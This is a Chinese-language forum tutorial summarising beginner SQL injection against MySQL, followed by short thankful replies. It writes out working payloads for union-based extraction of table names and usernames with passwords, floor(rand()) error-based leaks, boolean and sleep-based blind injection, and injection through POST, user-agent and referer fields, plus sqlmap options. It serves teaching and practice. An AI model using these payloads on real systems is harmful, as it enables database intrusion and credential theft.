[新手入门] 初阶sql注入总结

[复制链接]
查看21422 | 回复19 | 2017-6-1 19:01:06 | 显示全部楼层 |阅读模式

0x00 前言

看到论坛里有朋友发了sql注入的帖子,这里我也把以前写过的一片总结分享给大家,这些都是基础中的基础。sql注入是通过用户输入构造语句以实现目的。一句话,不要相信任何用户输入的内容,做好防护。

0x01 传参方式

传参方式一般通过get方式,或者post方式提交,前者的优点是效率高,后者的优点是安全性好、参数的长度长。在sql注入攻击中,通常会选择用户输入内容的地方进行攻击。除此之外,http header中也存在sql注入,比如referer,cookie等等。所以思路一定要开阔,凡是输入数据库的内容都有可能是突破口。

0x02 常用的mysql语句

如下是注入过程中常猜测的语句:

(1)SELECT 列名称 FROM 表名称 WHERE 条件 #从表中选取数据

eg.:select username,password from users where id=input

(2)UPDATE 表名称 SET 列名称=新值 WHERE 其他列名称 = 某值 #修改表中某值

eg.:update users set password=’inputpass’ where username=’inputuser’

(3)insert into 表名称 values (值1,值2,…….) #向表格中插入新的行,其中values中插入的值可为逻辑运算的结果

eg.:insert into users values (’15’,’name’,’pass’)

如下是注入常用操作:

(1)注释符:# , –+ , //
(2)联合查询:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
(3)ORDER BY 语句用于对结果集进行排序,注入攻击中用于测试列的数量。
(4)group_concat() 会计算哪些行属于同一组,将属于同一组的列显示出来。攻击时使用他的主要目的是将字段同时显示出来。
(5)count() 统计元祖的个数。
(6)rand() 用于产生一个0~1的随机数。
(7)floor() 向下取整。
(8)group by 依据我们想要的规则,对结果进行分组(会对规则进行排序)。
(9)outfile select from … where … into outfile ‘目标文件’ 将表的内容导出成为一个文本文件。
(10)dumpfile select from … limit 0,1 where … into dumpfile ‘目标文件’ 将其中一行导出成文件,所以要加limit。
(11)load_file select load_file(‘目标文件’) 载入上述文件。
(12)length()返回字符串长度。
(13)substr()截取字符串 substr(字符串,位置,长度) substr(database(),1,1) 。
(14)ascii()返回字符的ascii码 #通过>,<,=对字符的ascii进行缩小范围,从而确定字符。
(15)sleep(n)程序挂起n秒。用于时间盲注。
(16)if(a,b,c) 相同于a?b:c

0x03 sql注入语句的构造

(1)SELECT 列名称 FROM 表名称 WHERE 条件

select username,password from users where id=inputselect username,password from users where id=’input’select username,password from users where id=”input”select username,password from users where id=(‘input’)

以第二个为例:
I.联合查询的注入

1)
测试猜测语句,分别尝试输入:’ ” ‘) / \ 测试是否报错
2)
测试:1′ or ‘1’=’1
插入语句后成为:

select username,password from users where id=’1′ or ‘1’=’1′

完整闭合,语句可以正确执行
或者 使用注释符使其闭合
测试:

1′ or 1=1#1′ or 1=1–+

3)
order by 语句测试列数

1’order by 3#select username,password from users where id=’1’order by 3#’

成功,则证明该语句没有错误,存在至少3列
继续测试:1’order by 4# ,发现出错,证明该表共存在3列。
4)
union select 联合查询

1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –+

concat() 爆出所有表名
5)
爆用户名、密码

1’union select 1,group_concat(username,password),3 from users–+#也可以在1,2,3处替换任意其他命令

II.基于报错的注入
1)
猜测注入语句,不再赘述.
2)
语句测试,当使用 1’union selcet 1,2,3 –+ 返回还是正常页面,因此我们要利用报错信息
3)
1′ and ( select 1 from (select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name)b)–+
含义:取名concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))为name,count()name的个数,这时候会报错,从而爆出database()的值,’~’的用途在于方便识别。
整个语句分析:
整体相当于select 1 from b;
其中b = select count(
),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name ,count()name的个数;
name=concat(‘~’,’~’,database(),’~’,’~’,floor(rand()
2))

III.布尔盲注
1)
当出现无论输入任何语句页面只有两种情况的时候,即只存在正确页面和错误页面时,而不显示报错信息,这样我们就需要进行布尔盲注。通过猜测目标字符串字符的ascii码来确定字符,但该过程非常繁琐,自动化工具更方便一些。
2)
语句构造:

1’ and (ascii(substr(database(),1,1)))>100 –+

返回正确页面说明该范围正确,返回错误页面相当于范围不正确,最后用等号确定。

IV.基于时间的盲注
1)
这种情况下就是所有语句下页面只存在正确的一种,这样就用到了基于时间的盲注,原理是如果正确就执行sleep()函数,使程序挂起,这样我们就可以知道语句正确还是错误了。一般使用sleep(5),使程序挂起5秒钟。
2)
语句构造:

1′ and (select if (ascii(substr(database(),1,1))>100,sleep(5),NULL)) –+

(2)UPDATE 表名称 SET 列名称=新值 WHERE 其他列名称 = 某值 #修改表中某值

eg.:update users set password=’inputpass’ where username=’inputuser’

基于错误的sql注入
语句构造:

uname=admin&passwd=’ and (select 1 from (select count(*),(concat(“~”,database(),”~”,floor(rand()*2)))name from information_schema.tables group by name)b)#&submit=submit

(3)insert into 表名称 values (值1,值2,…….) #向表格中插入新的行,其中values中插入的值可为逻辑运算的结果。
这里我们的思路一定要开放,意识到注入点位置的广泛性。
例如user-agent,http referer,都有可能存在注入点。
基于错误的sql注入
语句构造:

1′,(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b)

0x04 个人常用的基于错误的语句

1. (select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆数据库*/2. (select 1 from (select count(*),(concat(“~”,current_user,”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆当前用户名*/3. (select 1 from (select count(*),(concat(“~”,(select username from users limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆所有用户名*/

附mysql中常见的系统函数及变量:

user() 用户名;session_user() 连接数据库的用户名;database() 数据库名;version() MYSQL数据库版本;@@datadir 数据库路径;current_user 当前用户名;@@hostname 主机名;@@port 数据库端口;@@version_compile_os 操作系统;basedir MYSQL安装路径

0x05 sqlmap使用

sqlmap作为一款强大的注入工具必不可少,它可以进行post注入(–data),cookie注入(–cookie),自定义注入级别(–leval),自定义注入参数(-p),自定义延时时间(–delay),执行自定义python代码(–eval),注入payload(–prefix ; –suffix)

0x06 总结

sql注入的精髓就在于学会在任何位置发现注入点,并构造语句使sql命令得以执行,从而达到攻击的目的。要学会sqlmap等自动化工具的使用,这样可以大大提高效率,但与此同时,更要学会手工注入,这样才能真正理解sql注入的本质。


回复

使用道具 举报

匿名 OKO | 2018-1-23 23:42:51 | 显示全部楼层
牛,写得挺好的
回复

使用道具 举报

匿名 from康 | 2018-2-7 07:51:31 | 显示全部楼层
写的很棒,得好好学习一番了
回复

使用道具 举报

匿名 CTFFFFF | 2018-3-26 17:16:34 | 显示全部楼层
想说我还没有基础,今天才知道ctf是什么的,有什么可以推荐的书或者教程吗
回复

使用道具 举报

匿名 TheabedPh | 2018-3-27 07:54:21 | 显示全部楼层
CTFFFFF 发表于 2018-3-26 17:16
想说我还没有基础,今天才知道ctf是什么的,有什么可以推荐的书或者教程吗

基础就是编程语言外加你自己的思维 学一段时间编程再来玩ctf吧
回复

使用道具 举报

匿名 Tsunami | 2018-3-30 14:01:30 | 显示全部楼层
666大佬大佬,非常好
回复

使用道具 举报

a740001272 | 2018-6-11 20:24:19 | 显示全部楼层
写的不错,值得学习
回复

使用道具 举报

淡雅D巴泽尔 | 2018-7-24 09:51:42 | 显示全部楼层
大佬666大佬
回复

使用道具 举报

wiiner | 2018-7-27 07:10:27 | 显示全部楼层
很不错,值得学习,感谢楼主
回复

使用道具 举报

sx234com | 2018-9-19 17:56:13 | 显示全部楼层
写的不错,mark,记下来备用。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

2

主题

4

帖子

13

积分

初入江湖

Rank: 2

积分
13